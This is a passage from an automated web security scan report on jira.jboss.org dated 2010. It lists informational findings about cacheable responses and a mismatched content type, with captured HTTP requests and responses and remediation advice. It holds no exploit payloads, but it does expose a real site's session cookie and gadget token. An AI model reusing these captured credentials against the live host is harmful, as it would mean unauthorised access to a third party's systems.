The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:


5.1. https://jira.jboss.org/includes/blank.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://jira.jboss.org
Path:   /includes/blank.html

Request

GET /includes/blank.html HTTP/1.1
Host: jira.jboss.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=054235C303669934768F68853A63ADCC;

Response

HTTP/1.1 200 OK
Date: Mon, 15 Nov 2010 14:00:45 GMT
Server: Apache-Coyote/1.1
X-AREQUESTID: 540x976460x12
X-ASESSIONID: 3jsbox
X-AUSERNAME: anonymous
Accept-Ranges: bytes
ETag: W/"1794-1289305038000"
Last-Modified: Tue, 09 Nov 2010 12:17:18 GMT
Content-Type: text/html;charset=UTF-8
Content-Length: 1794
Vary: Accept-Encoding
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<!--
Copyright (c) 2007 Brian Dillard and Brad Neuberg:
Brian Dillard | Proje
...[SNIP]...

5.2. https://jira.jboss.org/plugins/servlet/gadgets/ifr  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   https://jira.jboss.org
Path:   /plugins/servlet/gadgets/ifr

Request

GET /plugins/servlet/gadgets/ifr?container=atlassian&mid=stream&country=US&lang=en&view=default&view-params=%7B%22writable%22%3A%22false%22%7D&st=atlassian%3A%2F1aWbDB6TX%2BAyrGE%2B%2BhAaq4GCFKtIbqfC9Lbx8jnWsqDclsCv3HpHfC8%2BOvPR6Wb2fOB30d3qlAV0iECalh0Hne1yg3Yln%2BdK0M6ZFuzhISnCoL4zkLEg7T1Y%2B5QM%2FOAAIPLRSCWMk0EmhIKm6w2BEONzbVtWK81waFH0PlAKo6ZgzkM5KvX9SVZerROYub%2BNgPfYikgbV1hErZhfNOEpVI3dkqZpkkGd%2FbvjZZISS3R%2BshTgtFbc9O5kn7YhHTr5YDQTg%3D%3D&up_isConfigured=true&up_isConfigurable=false&up_refresh=false&up_title=&up_titleRequired=false&up_keys=SEAMJMS&up_itemKeys=&up_username=&up_numofentries=10&url=https%3A%2F%2Fjira.jboss.org%2Frest%2Fgadgets%2F1.0%2Fg%2Fcom.atlassian.streams.streams-jira-plugin%2Fgadgets%2Factivitystream-gadget.xml&libs=auth-refresh HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: https://jira.jboss.org/browse/SEAMJMS
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: jira.jboss.org
Connection: Keep-Alive
Cookie: JSESSIONID=054235C303669934768F68853A63ADCC

Response

HTTP/1.1 200 OK
Date: Mon, 15 Nov 2010 14:00:38 GMT
Server: Apache-Coyote/1.1
X-AREQUESTID: 540x976189x7
X-ASESSIONID: 3jsbox
X-AUSERNAME: anonymous
Expires: Mon, 15 Nov 2010 14:05:38 GMT
Cache-Control: private,max-age=300
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Connection: close
Content-Length: 29354

<html><head><style type="text/css">body,td,div,span,p{font-family:arial,sans-serif;}a {color:#0000cc;}a:visited {color:#551a8b;}a:active {color:#ff0000;}body{margin: 0px;padding: 0px;background-color:
...[SNIP]...

6. Content type incorrectly stated  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   https://jira.jboss.org
Path:   /plugins/servlet/gadgets/ifr

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain plain text.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /plugins/servlet/gadgets/ifr HTTP/1.1
Host: jira.jboss.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: JSESSIONID=054235C303669934768F68853A63ADCC;

Response

HTTP/1.1 200 OK
Date: Mon, 15 Nov 2010 14:00:43 GMT
Server: Apache-Coyote/1.1
X-AREQUESTID: 540x976429x5
X-ASESSIONID: 3jsbox
X-AUSERNAME: anonymous
Content-Type: text/html;charset=UTF-8
Content-Length: 34
Vary: Accept-Encoding
Connection: close

Missing or malformed url parameter

Report generated by XSS.CX at Mon Nov 15 08:03:39 CST 2010.